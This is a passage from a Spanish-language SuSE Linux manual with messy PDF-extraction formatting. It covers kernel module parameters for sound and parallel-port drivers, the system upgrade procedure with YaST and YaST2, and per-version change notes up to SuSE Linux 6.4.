dma <|dma> | || dma2 <|dma2> | || sb_io <|addr> | || sb_irq <|irq> | || sb_dma <|dma> | || mpu_io <|addr> | ||__mpu_irq___________<|irq>_________|__ o UART401 Nombre del módulo: uart401.o ________________________________________ ||__parámetros__|_____valores_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Ejemplo: modprobe io=0x330 irq=9 * * 387 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ o UART6850 Nombre del módulo: uart6850.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | |__irq________________|__________|_ o Sound Blaster DSP chipsets Nombre del módulo: v_midi.o Sin parámetros. o Turtle Beach Maui, Tropez, Tropez Plus Nombre del módulo: wavefront.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | |__irq________________|__________|_ Ejemplo: modprobe wavefront io=0x200 irq=9 El puerto paralelo Puerto La utilización del puerto paralelo es compleja. Después de su configuración paralelo hay un sub-sistema propio a disposición. o Puerto paralelo Nombre del módulo: parport.o Ejemplo: modprobe parport o Puerto paralelo ~ específico Nombre del módulo: parport_pc.o _______________________________________ |__parámetros__|_______valores_____|____ | io | | |__irq________________|__________|_ Para tener p. ej. 3 puertos al estilo PC con uno en la dirección 0x3bc sin IRQ, otro en la dirección 0x378 con IRQ 7 y el tercero en la dirección 0x278 con el IRQ detectado automáticamente, se debe indicar (¡en una línea!): Ejemplo: modprobe parport_pc io=0x3bc,0x378,0x278 irq=none,7,auto o Driver de impresora Nombre del módulo: lp.o _______________________________________ |__parámetros__|_______valores_____|____ |__parport____________|_________|_ Ejemplo: modprobe lp parport=0,2 388 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ o Dispositivos IDE en el puerto paralelo Nombre del módulo: paride.o ¡Al usar una cadena de dispositivos ''Paride'' en un puerto paralelo, es preciso cargar primero parport.o (ver apartado 14.3.4 en la página an- terior)! Ejemplo: modprobe paride Si es posible, utilice el puerto paralelo en ''modo EPP'' ; para asegurarse, entre a la + BIOS de la computadora y ajústelo. o Driver de protocolo IDE de bajo nivel para el puerto paralelo Nombre del módulo: .o ______________________________________________________________________________________________ |__Protocolo__|______Dispositivo______________________________________________________________|_ |__aten_____________|ATEN_EH-100____________________________________________________(HK)___|__ |__bpck_____________|Microsolutions_backpack________________________________________(US)___|__ |__comm_____________|DataStor_(old-type)_öc_mmuterä__dapter_________________________(TW)__|___ |__dstr_____________|DataStor_EP-2000_______________________________________________(TW)__|___ |__epat_____________|Shuttle_EPAT___________________________________________________(UK)___|__ |__epia_____________|Shuttle_EPIA___________________________________________________(UK)___|__ |__fit2_____________|FIT_TD-2000____________________________________________________(US)___|__ |__fit3_____________|FIT_TD-3000____________________________________________________(US)___|__ |__friq_____________|Freecom_IQ_cable_______________________________________________(DE)___|__ |__frpw_____________|Freecom_Power__________________________________________________(DE)___|__ |__kbic_____________|KingByte_KBIC-951A_and_KBIC-971A_______________________________(TW)__|___ |__ktti_____________|KT_Technology_PHd_adapter______________________________________(SG)___|__ |__on20_____________|OnSpec_90c20___________________________________________________(US)___|__ |__on26_____________|OnSpec_90c26___________________________________________________(US)___|__ Ejemplo: modprobe epat o Disco duro IDE en puerto paralelo Nombre del módulo: pd.o __________________________________________ ||__parámetros__|_____valores_______|______ ||__verbose___________<|valor>_________|__ Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4). Ejemplo: modprobe pd verbose=1 o ATAPI CD-ROM en puerto paralelo Nombre del módulo: pcd.o Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4). Ejemplo: modprobe pcd o Disquetera ATAPI en puerto paralelo Nombre del módulo: pf.o Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4). Ejemplo: modprobe pf * * 389 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ o Streamer ATAPI en puerto paralelo Nombre del módulo: pt.o Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4 en la página anterior). Ejemplo: modprobe pt o Dispositivo ATAPI genérico en puerto paralelo Nombre del módulo: pg.o Cargue primero parport y el driver de bajo nivel (ver apartado 14.3.4 en la página anterior). Ejemplo: modprobe pg 390 Parte VII SuSE Linux: Actualización y particularidades * * 391 Capítulo 15 Actualización del sistema ~ Gestión de paquetes 15.1 Actualización de SuSE Linux SuSE Linux ofrece la posibilidad de actualizar un sistema existente sin necesidad de instalar todo desde cero. Hay que distinguir entre la actual- ización de algunos paquetes y la del sistema completo. Es un fenómeno conocido, el hecho de que el software ''crezca'' de versión en versión, por lo que se recomienda averiguar de cuánto espacio se dispone en las particiones, usando df , antes de la actualización. Si se tiene la impresión de estar un poco ''justo'' con el espacio, se recomienda también hacer un respaldo de los datos y modificar las particiones (aumentar su tamaño). Es difícil determinar la cantidad de espacio necesario ya que este depende en gran medida de las particiones actuales, del software elegido y desde cuál versión se va a realizar la actualización. _______________________________________________________________________________________________________________________ |||||||| Para obtener información sobre cambios o suplementos posteriores a la ||| | |||||||| || | |||||||| impresión de este libro, se puede consultar el fichero README o bajo || | |||||||| DOS/Windows el fichero README.DOS ~ ambos se encuentran en el CD. || | ||||||||_______________________________________________________________________________________________________________||_ 15.1.1 Preparativos Antes de realizar cualquier actualización se deben copiar los ficheros de con- figuración a un medio independiente (cinta, disquetes, unidad-ZIP, etc.); so- bre todo se trata de los ficheros contenidos en /etc pero también se debe tener en cuenta el directorio /var/lib donde están los ficheros de configu- ración de los ''News'' o de xdm . Además se deben respaldar los datos actuales de los usuarios en /home; son los directorios HOME. Antes de comenzar con la actualización se debe anotar el nombre de la parti- ción raíz que se obtiene con el comando: tierra: # df / En este caso /dev/sda3 es la partición raíz que se debe anotar (ver la salida en pantalla 15.1.1 en la página siguiente), ya que es ésta la que está montada bajo /. * * 393 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Filesystem 1024-blocks Used Available Capacity Mounted on * * | || /dev/sda3 4167999 3253471 698856 82% / * * || | /dev/sda1 7496 1311 5785 18% /boot * * | | * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 15.1.1: Resumen de particiones con df ________________________________________________________________________________________________________* *________|| | Antes de actualizar PostgreSQL (paquete postgres), se deben volcar (in- * * |||| | * * ||| | gl. dump) todos los bancos de datos al disco; ver página del manual de * * ||| | pg_dump (man pg_dump ). Evidentemente esto solo es necesario si se ha * * ||| | * * ||| | usado PostgreSQL antes de la actualización. * * ||| |_______________________________________________________________________________________________________* *________|||_ Ahora hace falta decidir entre una actualización en modo texto con YaST o en modo gráfico con YaST2 . Actualizando una versión anterior a SuSE Linux 6.0 hay que usar siempre YaST , procediendo como se explica en el apartado 15.1.3. Se pueden actualizar todas las versiones 6.x con YaST2 . 15.1.2 Actualización con YaST2 Después de los preparativos del apartado 15.1.1 en la página anterior, ar- ranque del modo en que se explica en el capítulo sobre la instalación 2.1 en la página 17¡Directo al éxito!section.2.1. ________________________________________________________________________________________________________* *________|| | La posibilidad de utilizar YaST2 se limita a la actualización de las * * |||| | versiones 6.x de SuSE Linux. Para actualizar las versiones anteriores * * ||| | * * ||| | (p. ej. SuSE Linux 5.3) hay que usar YaST1 ; ver el apartado 15.1.3. * * ||| |_______________________________________________________________________________________________________* *________|||_ Una vez que se encuentre en el apartado 2.1.7 en la página 21¿Instalación nueva o Actualización?subsection.2.1.7, seleccione la opción `Actualizar sistema'. 15.1.3 Actualización con YaST1 Actualización del sistema base Al actualizar el sistema base se cambian los componentes centrales del sis- tema (p. ej. las bibliotecas), por lo tanto esto no se puede llevar a cabo desde el sistema Linux en ejecución. Por esta razón se tendrá que arrancar el entorno de actualización ~ normal- mente con el disquete de arranque incluido en el paquete, o introduciendo manual en el prompt del kernel como se explica en el apartado 2.2.1 en la página 30La situación principalsubsection.2.2.1. Básicamente hay que seguir los pasos que se exponen a continuación: 1. Inmediatamente después del arranque del sistema desde el disquete de arranque o desde el CD, se inicia automáticamente linuxrc . 2. linuxrc pide escoger en la opción `Configuración' del menú princi- pal, el idioma, el color de la pantalla y el teclado (siempre se confirma pulsando `Ok'). 394 _____________________________________________________________________________15.1.__Actualización_de_SuSE______Linux________* *______________________ 3. Con la opción `Módulos del Kernel (Drivers)' se cargan los drivers necesarios para el hardware (el procedimiento se detalla en la descripción de linuxrc , en la página 418Carga de módulosHfootnote.70). 4. Ahora se puede elegir el medio fuente de la instalación pasando por las opciones `Iniciar la instalación / Sistema' y `Comen- zar la instalación' (ver en la página 420Iniciar la instalación / SistemaHfootnote.70). 5. linuxrc carga el entorno de instalación proporcionado por YaST , tal como se ha elegido. En el primer menú de YaST , seleccionar la opción `Actualizar sistema'; con esto YaST intenta reconocer la partición raíz y ofrece ~ si las hay ~ varias posibilidades de las cuales se debe seleccionar la partición raíz, tal como se ha anotado anteriormente (ejemplo: /dev/sda3). YaST lee la /etc/fstab ''antigua'' que se encuentra sobre esta partición, y monta los sistemas de ficheros anotados en ella; seleccionar ahora `Continuar'. Después de volver con |E_____|scal menú principal, se selecciona `Actualizar sistema' (ver apartado 3.2 en la página 83El menú principal de YaST section.3.2). YaST analiza el sistema actual y muestra el resultado de este análisis. A continuación se actualizan los componentes centrales del sistema y YaST genera automáticamente respaldos de los ficheros modificados a partir de la última instalación; además, los ficheros de configuración antiguos se guardan con la extensión pfad.rpmorig o .rpmsave (ver el apartado 15.3.1 en la página 405Instalar, actualizar y desinstalar paquetessubsection.15.3.1). To- do el proceso de instalación y actualización se protocoliza en el fichero /var/adm/inst-log/installation-*. Actualización del resto de programas Una vez instalado el sistema base, se entra al modo especial de actualización de YaST que permite actualizar el resto del sistema según necesidades y/o preferencias. YaST genera dos listas de paquetes a actualizar. En la primera se encuen- tran los paquetes en los que YaST reconoce automáticamente el sentido y la posibilidad de actualización, ya que el paquete nuevo tiene un número de versión más alto o, cuando ha cambiado un paquete con el cual tiene alguna dependencia. La segunda lista muestra los paquetes sobre los que no hay to- tal seguridad de si deben ser actualizados o no, debido p. ej. a que el paquete antiguo no especifica un número de versión. En estas dos listas se pueden seleccionar a gusto propio los paquetes que se desean actualizar. La actualización no solo reemplaza los paquetes selec- cionados por los de la nueva versión sino que se respaldan también todos los ficheros que han sido modificados desde la última instalación. Después de haber seleccionado los paquetes, el proceso se termina como una instalación desde cero; entre otras cosas, se tendrá que seleccionar también un kernel nuevo. * * 395 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Si está acostumbrado a iniciar Linux con loadlin , es preciso copiar el nuevo * * |||| || kernel ~ y si es el caso ~ el initrd en el directorio de loadlin de la * * |||| | partición DOS! * * |||| |_______________________________________________________________________________________________________* *________|||_ Para que el sistema no entre en el modo de operación normal después de la ac- tualización (ver ''runlevel'' estándar en el apartado 17.2 en la página 432Los Runlevelsection.17.2), se introduce en el prompt de LILO el siguiente co- mando: NO_AUTO_SETUP=true De este modo se inicia YaST inmediatamente después de entrar al sistema y se terminan las operaciones que comenzaron con la actualización. El uso del parámetro NO_AUTO_SETUP=true es especialmente razonable cuando se presentan problemas durante el inicio del sistema. Estos pueden aparecer cuando algunas partes esenciales del sistema se cargan a través de una tar- jeta SCSI del tipo PCMCIA. Para remediarlos y finalizar correctamente la configuración, se deben ejecutar los siguientes pasos: 1. Al iniciar el sistema, indicar en el prompt: NO_AUTO_SETUP=true 2. Entrar al sistema como superusuario `root' e iniciar una vez yast --nomenu para que se lleven a cabo las configuraciones necesarias. 3. Iniciar como `root' el script /lib/YaST/bootsetup.conf y esperar a que el proceso finalice. El resultado final es el mismo que se obtendría si YaST se hubiese ejecutado automáticamente. El usuario de Linux experimentado podría prescindir de entrar al nivel de ejecución estándar e ir directamente al modo de usuario único (ingl. Single- User-Mode) (Runlevel 1), indicando single en el prompt de LILO . 15.1.4 Actualización de paquetes específicos Independientemente de la actualización del sistema base, se pueden actualizar paquetes específicos en cualquier momento. Esto se realiza en YaST (ver el apartado 3.5.3 en la página 97Cambiar / Crear configuraciónsubsection.3.5.3), entrando al sub-menú `Escoger/Instalar paquetes'. Se puede seleccionar cualquier paquete, pero si selecciona uno que es esencial para el sistema, YaST advierte sobre la necesidad de actu- alizar tal paquete en el modo especial de actualización. Hay muchos paquetes que usan p. ej. librerías compartidas (ingl. shared libraries), que pueden es- tar en uso en el momento de la actualización y por tanto se podrían producir errores. 15.2 De versión a versión Los siguientes apartados mencionan los detalles que se han cambiado de una versión de SuSE Linux a otra, como p. ej. el cambio de lugar de un fichero de 396 ___________________________________________________________________________________________15.2.__De_versión_a_versión______* *______________________ configuración o la diferencia de comportamiento de un programa archicono- cido. La lista es incompleta ya que solo se mencionan los aspectos impor- tantes para el trabajo diario de los usuarios o del administrador de sistema. En la descripción de las diferencias y particularidades hay muchas referen- cias al banco de datos de soporte (SDB) del paquete sdb_en, serie doc (ver apartado 1.4.1 en la página 8Banco de datos de soportesubsection.1.4.1). Los problemas y cambios de última hora de cada versión se publican en nuestro servidor web; véase los links que se indican más abajo. Se puede actualizar determinados paquetes importantes vía http://www.suse.de/ en/support/download/updates/. 15.2.1 De versión 4.x a 5.0 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/maddin_bugs5.html. o Cambio de la gestión de paquetes de TGZ a RPM (ver apartado 15.3 en la página 405RPM ~ El gestor de paquetessection.15.3). o Nueva Bash (ver en la SDB los artículos http://sdb.suse.de/sdb/ en/html/maddin_bash2.html y http://sdb.suse.de/sdb/en/ html/maddin_inputrc.html). 15.2.2 De versión 5.0 a 5.1 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/maddin_bugs51.html. o LILO , primer cambio: los ''loaders'' any_b.b y any_d.b son ahora obso- letos (ver en la página 128El contenido del fichero lilo.conf Hfootnote.20). o LILO , segundo cambio: si se presentan problemas con la controladora SCSI Adaptec 2940, no se debe usar la opción linear en el fichero /etc/lilo.conf (ver en la página 128Otras opciones de configuración (Selección)subsection.4.4.2). o Software ''opcional'', como p. ej. KDE o Applixware , se instala ahora en el directorio /opt (ver el apartado 2.8 en la página 71De- cidirse. . . section.2.8) o La descripción de los paquetes se ha omitido por falta de espacio en el libro y ahora se encuentra en el primer CD en el directorio /docu; las versiones en alemán son pkg_German.dvi y pkg_German.ps y en inglés pkg_English.dvi y pkg_English.ps. o También se ha suprimido el anexo con las requerimientos de sistema, pero como alternativa se tiene a la mano el banco de datos de componentes (ingl. Components Database, CDB). Se encuentra en línea bajo http: //cdb.suse.de/. o Los ficheros m4 de Sendmail se encuentran ahora en el directorio /usr/ share/sendmail. o El formato de las fuentes es ''Source RPM'' (ver en el banco de datos de soporte http://sdb.suse.de/sdb/en/html/ke_source-rpm. html). * * 397 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ 15.2.3 De versión 5.1 a 5.2 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/maddin_bugs52.html. o YaST : A la serie ALL se accede desde `Selección series' con |F___|_4 (= `Ordenar') (ver el apartado 3.5.3 en la página 97Cambiar / Crear configuraciónsubsection.3.5.3). o Los servidores XSuSE forman ahora parte de las fuentes oficiales de XFree86, por lo que se pueden usar otra vez los servidores estándar de la serie x, a excepción de XSuSE_Elsa_GLoria (paquete xglint), he- cho para tarjetas de vídeo a base de Glint o Permedia. o Por razones de seguridad los servidores X ya no se instalan en modo suid root (o sea, sin la s-bit). Por lo tanto, se debe iniciar el sistema X Window con el Xwrapper a través del comando startx o con un gestor de pantalla como xdm o kdm . o wuftpd se establece ahora en /etc/inetd.conf como el servidor ftp es- tándar (ver en el SDB http://sdb.suse.de/sdb/en/html/grimmer_ ftpd.html). o Las opciones de ps ya no comienzan con `-' por lo tanto es necesario adaptar los scripts a ello (ver en el SDB http://sdb.suse.de/sdb/ en/html/maddin_ps52.html). o SuSEconfig (ver el apartado 17.5 en la página 435/etc/rc.config y SuSEconfig section.17.5) acepta algunas opciones adicionales que aceler- an el trabajo. 15.2.4 De versión 5.2 a 5.3 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/bugs53.html. o La primera instalación de SuSE Linux tal como la actualización son aho- ra secuenciales; si se prefiere el procedimiento ''antiguo'' con sus múlti- ples posibilidades de intervención, se debe seleccionar el modo exper- to en la entrada a YaST (ver figura 2.6 en la página 35Arrancar YaST subsection.2.2.4). o Además del disquete de arranque se ofrece en el CD la imagen del dis- quete modules provisto de módulos adicionales para el uso de hardware ''exótico''; (ver apartado 16.3 en la página 417linuxrcsection.16.3). o Ahora todos los servidores X se encuentran ordenados en la serie xsrv (X-server) en lugar de la serie x. o Para tarjetas de vídeo nuevas existen los servidores X XFCom_3DLabs (pa- quete x3dlabs; antes XSuSE_Elsa_GLoria, paquete xglint) y XFCom_ Cyrix (paquete xcyrix). o Los usuarios que deseen usar programas de comunicación como mini- com , seyon , etc., deben estar de alta en el grupo `uucp'; ver http: //sdb.suse.de/sdb/en/html/ke_terminal-prog.html. o La versión actual de Emacs es la 20.x, con la que se deben usar los ficheros de inicio del directorio /etc/skel (ver http://sdb.suse.de/ sdb/en/html/ke_emacs-update.html). 398 ___________________________________________________________________________________________15.2.__De_versión_a_versión______* *______________________ o Las SGML-Parsertools del paquete jade_dsl se encuentran ahora en un sub-paquete sp propio. o PostgreSQL (paquete postgres) se forma de varios sub-paquetes (ingl. subpackages): El motor del banco de datos, la inicialización y las inter- faces. o Las Manpages del paquete allman se han distribuido entre varios sub- paquetes (ver http://sdb.suse.de/sdb/en/html/ke_lpdmanxx. html). 15.2.5 De versión 5.3 a 6.0 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/bugs60.html. o Tal como está previsto en las fuentes del kernel, el kernel con el que se arranca la máquina se instala en el directorio /boot. Se debe tener cuida- do en anotar correctamente las ramas en el fichero /etc/lilo.conf; de hecho YaST lo propone de este modo, no obstante, si se prefiere contin- uar con el kernel antiguo (/vmlinuz), se debe intervenir en el proceso de actualización y configurar LILO con este fin. o La biblioteca del sistema es ahora glibc (también llamada libc6). Al actualizar los programas suministrados con SuSE Linux no se tienen por qué presentar problemas; después de la actualización se deben compilar los programas propios nuevamente y enlazarlos con la biblioteca glibc . Si esto no fuera posible ~ p. ej. porque no se dispone del código fuente de los programas ~, existe como solución a este problema la posibilidad de instalar el paquete shlibs5 (libc5), con lo cual se pueden seguir ejecutando los programas ''antiguos''. o Las partes de /etc/rc.config que corresponden a programas con amplias posibilidades de configuración, se han trasladado a diferentes ficheros en el directorio /etc/rc.config.d. o cron es capaz de ejecutar ''scripts'' en los directorios /etc/cron. hourly, /etc/cron.daily, /etc/cron.weekly y /etc/cron. monthly; la tabla crontab del sistema ya no se llama /root/bin/ cron.daily sino que se denomina /etc/cron.daily/aaa_base; ver también en la página 403De 6.3 a 6.4subsection.15.2.9. o SuSE Linux incluye la versión actual de teTeX que se instala ahora en /var, conforme al estándar de jerarquía del sistema de ficheros (ingl. Filesystem Hierarchy Standard (FHS)), por lo tanto, este directorio ocupa unos 15 MB adicionales . ~ A su vez, teTeX se ha dividido en varios sub-paquetes, con lo cual es posible que falte alguno después de la actualización. En este caso se re- comienda comprobar si todos los paquetes de la serie tex están realmente instalados. o Las extensiones deALTEX, el paquete colortbl y el paquete hyperref, se incluyen ahora en teTeX y por tanto han dejado de existir por separado. o C News se eliminará de la distribución, pero durante un período transito- rio el paquete cnews seguirá existiendo en el CD 1 bajo unsorted/. Con * * 399 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ el tiempo quizás sea necesario usar el paquete inn o el paquete leafn- ode. o Los ficheros de configuración de UUCP se encuentran en el directorio /etc/uucp. o Los estilos ''DocBook -Stylesheets'' se encuentran ahora en un paquete propio, paquete docbkdsl, serie sgm. 15.2.6 De versión 6.0 a 6.1 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/bugs61.html. o El paquete SuSE Linux ya no incluye el CD-ROM con el ''Live- Filesystem'', no obstante, se puede conseguir por separado abonando una cuota de protección (valor simbólico). Para mayor información sobre el uso de este CD, consultar el apartado 3.7.4 en la página 110Configurar sistema Livesubsection.3.7.4. o Para la primera instalación hay un disquete adicional con módulos que funcionan como drivers para lectores de CD-ROM especiales, unidades en el puerto paralelo, tarjetas PCMCIA, etc. En el momento en que se necesitan, linuxrc pide que se introduzca el disquete-modules. (ver apartado 2.2.3 en la página 31La base: linuxrc subsection.2.2.3). o En el caso del kernel 2.2.x, la ''interfaz estándar'' para imprimir a través del puerto paralelo es /dev/lp0 (ver apartado 12.1 en la página 325Los puertos paralelossection.12.1). 15.2.7 De versión 6.1 a 6.2 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/bugs62.html. o rpm (ver también el apartado 15.3 en la página 405RPM ~ El gestor de paquetessection.15.3) existe ahora en versión 3.0. El formato del banco de datos RPM se ha modificado, por lo tanto es preciso realizar la conversión en el momento de instalar rpm . Efectuando una actualización normal (del sistema base) con YaST , la conversión se llevará a cabo en el momento más indicado (el proceso se ejecuta en segundo plano). o La librería de sistema glibc existe ahora en versión 2.1. En lo posible se suministran componentes que permiten seguir usando los programas basados en glibc -2.0. Esto tiene sus limitaciones cuando se trata de ac- ceder a ciertos símbolos internos, por lo que se recomienda compilar de nuevo todos los programas propios. o El nscd (ingl. Name Service Cache Daemon) forma parte de la glibc ; se configura mediante el fichero /etc/nscd.conf (ver página del manual de nscd (man 8 nscd )). o Con la glibc -2.1 se efectúa el cambio a los dispositivos sogUnix98 PTY, por lo que también se debe montar el sistema de ficheros devpts . Esto se puede conseguir p. ej. con la siguiente entrada en /etc/fstab: none /dev/pts devpts gid=5,mode=620 0 0 Ver también la documentación en /usr/src/linux/Documentation/ Changes junto con las fuentes del kernel. 400 ___________________________________________________________________________________________15.2.__De_versión_a_versión______* *______________________ o PAM (ingl. Pluggable Authentication Modules): aparte de /etc/login. defs ahora existen también /etc/securetty, /etc/security/ limits.conf y /etc/security/pam_env.conf.; ver en la pági- na 114Algo sobre PAMsubsection.3.7.7. o La configuración de idioma se efectúa con variables en /etc/rc. config; ver apartado 76 en la página 437Configuraciones básicasHfootnote.76 y http://sdb.suse.de/sdb/en/html/ml_locale_implementation. html. http://sdb.suse.de/sdb/de/html/ml_locale_implementation. html. Si no le agradan los mensajes en alemán, lo puede indicar directa- mente, p. ej. en .bashrc: export LANG=C o En el caso de varios paquetes, los componentes necesarios para el desar- rollo del software (librerías, ficheros ''header'' y ''include'') han pasado a ser paquetes separados; se trata de un procedimiento que ya se llevó a cabo en versiones anteriores. Estos paquetes solo serán necesarios para desarrollos propios; p. ej. compilar paquetes de GNOME más recientes. Los paquetes de desarrollo se identifican normalmente con un suplemento en el nombre como: dev o d ; algunos ejemplos son: paquete xformsd, paquete glibndev, paquete gtkndev, paquete imlibdev, paquete gn- libsd, etc. 15.2.8 De 6.2 a 6.3 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/bugs63.html. o Existen diferentes kernels, optimizados para distintas necesidades. Todos usan la ''initrd'' (ingl. Initial Ramdisk) (disco virtual de memoria). Es un aspecto a tener en cuenta cuando se compila un kernel propio; ver el apartado 16.2.5 en la página 415Posibles problemas ~ Kernel compila- do a medidasubsection.16.2.5 y http://sdb.suse.de/sdb/en/html/ adrian_6.3_boot.html. o El fichero de configuración de los módulos de kernel se llama /etc/ modules.conf (antes: /etc/conf.modules). o Aparte del ''Userspace''-NFS-Daemon (paquete nfsserv) existe ahora también el daemon NFS a nivel de kernel (paquete knfsd). Este daemon tiene menos prestaciones, pero en cambio es capaz de bloquear ficheros; una característica que necesita p. ej.StarOffice . Hay que configurar en- tonces USE_KERNEL_NFSD o NFS_SERVER del fichero /etc/rc.config e instalar el paquete que corresponda. o Las + Manpages se encuentran en /usr/share/man, así como lo pide el FHS (ingl. Filesystem Hierarchy Standard) (estándar de jerarquía del sistema de ficheros); ver el apartado 16.1 en la página 411Filesystem Hierarchy Standard (FHS) y Linux Standard Base (LSB)section.16.1. o Los siguientes paquetes ya no existen en la distribución: ~ paquete gnuhtml: Antiguo; los documentos de información actuales se pueden obtener en formato HTML a través del sistema de ayuda * * 401 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ de SuSE (ver apartado 16.4 en la página 422El sistema de ayuda para SuSE Linux section.16.4). ~ paquete glimpse: Una versión antigua se encuentra en el directorio /unsorted del CD 1. Por razones de derecho de autor no se puede distribuir la nueva versión junto con SuSE Linux. o Los paquetes nuevos de Tcl/Tk tienen nuevas denominaciones. Tcl/Tk 8.0 es la versión estándar. o El soporte de OSS (ingl. Open Sound System) para máquinas multiproce- sador se compone de: paquete opso y paquete opsod_up tal como pa- quete opso_smp y paquete opsodsmp; ver http://sdb.suse.de/sdb/ es/html/oss-smp.html. o La configuración de sendmail se encuentra en /etc/rc.config. d/sendmail.rc.config en lugar de /etc/rc.config; ver http: //sdb.suse.de/sdb/en/html/mneden_6.3_sendmail.html. o Por razones de seguridad el daemon WU-FTPD (paquete wuftpd, serie n) ya no se incluye en la instalación estándar. o Desde la versión 1.9.2 de leafnode el directorio de los ficheros de con- figuración se ha modificado. En lugar de estar en /usr/lib/leafnode ahora se encuentran en /etc/leafnode. En caso de haber modificado el fichero de configuración, éste se encuentra como copia de seguridad en /usr/lib/leafnode/config.rpmsave. Las modificaciones hechas se deben pasar manualmente al nuevo fichero de configuración. Atención: En caso de actualizar desde una versión antigua (anterior a 1.9.3), ejecute primero el script /usr/doc/packages/leafnode/ update.sh: tierra: # cd /usr/doc/packages/leafnode tierra:/usr/doc/packages/leafnode # ./update.sh \ /var/spool/news/ /etc/leafnode /var/lock/news/fetchnews.lck Al ejecutar el script, el fichero groupinfo se organiza de nuevo (en el orden de groupinfo deja de importar la diferencia entre mayúsculas y minúsculas). Si la reorganización del fichero no funciona, hay un respaldo que se encuentra en /var/spool/news/leaf.node/groupinfo.old. Después de una ejecución exitosa del script, se puede borrar este fichero (.old). Advertencia: Desde la versión 1.9.3 el programa /usr/sbin/fetch se llama /usr/sbin/fetchnews . Por lo tanto hay que modificar los ''Cron- jobs'' u otros scripts (p. ej. /etc/ppp/ip-up) al respecto. En cuanto a la instalación de leafnode consulte el apartado 6.9 en la página 207News: Las noticias más actuales de USENETsection.6.9. o Para aumentar el nivel de seguridad, se ejecuta MySQL con la UID `mysql' y la GID `daemon'. o Fortify se encuentra en /opt/fortify; después de su aplicación se puede desinstalar. 402 ___________________________________________________________________________________________15.2.__De_versión_a_versión______* *______________________ 15.2.9 De 6.3 a 6.4 Problemas y particularidades: http://sdb.suse.de/sdb/en/html/bugs64.html. o Kernel: Ya no se necesitan paquete kernmod y paquete kernmods. Los módulos de kernel adecuadamente optimizados se instalan directamente junto con el kernel elegido (ver 3.7.2 en la página 105`Elegir el kernel (de arranque)'subsection.3.7.2) (ver 3.7.2 en la página 105 `Elegir el kernel (de arranque)'subsection.3.7.2). Los fichero de configuración del kernel instalado se encuentran en /boot con los nombres vmlinuz.config-pentium (¡si el kernel es para Pentium!), vmlinuz.autoconf.h y vmlinuz.version.h. Si lo desea, YaST copia estos ficheros en el árbol de directorios de las fuentes del kernel. o Los ''Login-Shells'' válidos están anotados en /etc/shells; ver pági- na del manual de shells (man 5 shells ). Un usuario que tiene /bin/true asignado, sólo puede entrar al sistema vía el sistema X Win- dowy no recibe ninguna shell. Para evitar cualquier login, se asigna /bin/false como ''Login-Shell''. o paquete aaa_base: Las tareas de mantenimiento diarias se han dis- tribuido sobre varios scripts. En /etc/cron.daily existen ahora aparte de aaa_base los scripts backup_rpmdb, clean_catman, clean_core, clean_instlog, clean_tmp, do_mandb, rotate_logs y updatedb ~ estos scripts se reconocen por su ''prefijo'' aaa_base_. Además aaa_ base ''ejecuta'' cron.daily.local, que es el fichero para ampliaciones personales. Respecto al sistema Cron véase el apartado 16.6.1 en la pági- na 429paquete cronsubsection.16.6.1. o Se instala una versión nueva de tar (tar ), que se comporta diferente al sobreescribir ficheros existentes. Para volver al comportamiento antiguo se puede usar la opción --overwrite . o Casi todos los programas en paquete nkita y paquete nkitb han cambi- ado de versión y traceroute se encuentra ahora en el paquete nkitb. Al- gunos programas ya están preparados para IPv6, por lo que es importante configurar DNS correctamente, sino es posible que haga falta esperar el DNS-Timeout para la consulta de IPv6. o El paquete samba: Con la actualización a la versión 2.0.6 se cambia la sintaxis del comando smbmount . El script /sbin/mount.smbfs tiene que ejecutar el smbmount . A su vez es el comando mount que llama a este script; por ejemplo: tierra: # mount -t smbfs -o username=uname,password=passwd \ //smbserv/share /destination o paquete postfix: Se añadieron posibilidades de configuración; las variables de inicio se encuentran ahora en /etc/rc.config.d/ postfix.rc.config; véase también el apartado 17.5 en la pági- na 435/etc/rc.config y SuSEconfig section.17.5. o Ya no existe la versión 1.x del servidor proxy paquete squid, ya que la versión 2.x puede ser considerada como estable, por lo que se recomienda pasarse a ésta. Durante la actualización, paquete squid no se reemplaza automáticamente por paquete squid2; se deben guardar los ficheros de * * 403 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ configuración antiguos y desinstalar el paquete squid para instalar pos- teriormente el paquete squid2. Ahora se puede comenzar a personalizar los ficheros de configuración nuevos ~ hay información suplementaria en http://squid.nlanr.net. o El cliente DHCP se encuentra en paquete dhcpcd; para casos especiales suministramos aún el paquete dhclient. o Por razones de seguridad, el daemon FTP (in.ftpd ) ya no acepta au- tomáticamente el FTP-anónimo. Para que lo acepte se debe quitar el sím- bolo de comentario `#' por delante de la línea: auth sufficient /lib/security/pam_ftp.so en el fichero /etc/pam.d/ftpd. o Modificar contraseña con PAM (ingl. Pluggable Authentication Mod- ules): pam_unix puede modificar también las contraseñasÑIS y sabe tratar md5 -almuadillas como contraseña. Cuidado: Es mejor consultar el apartado 3.7.7 en la página 114Algo sobre 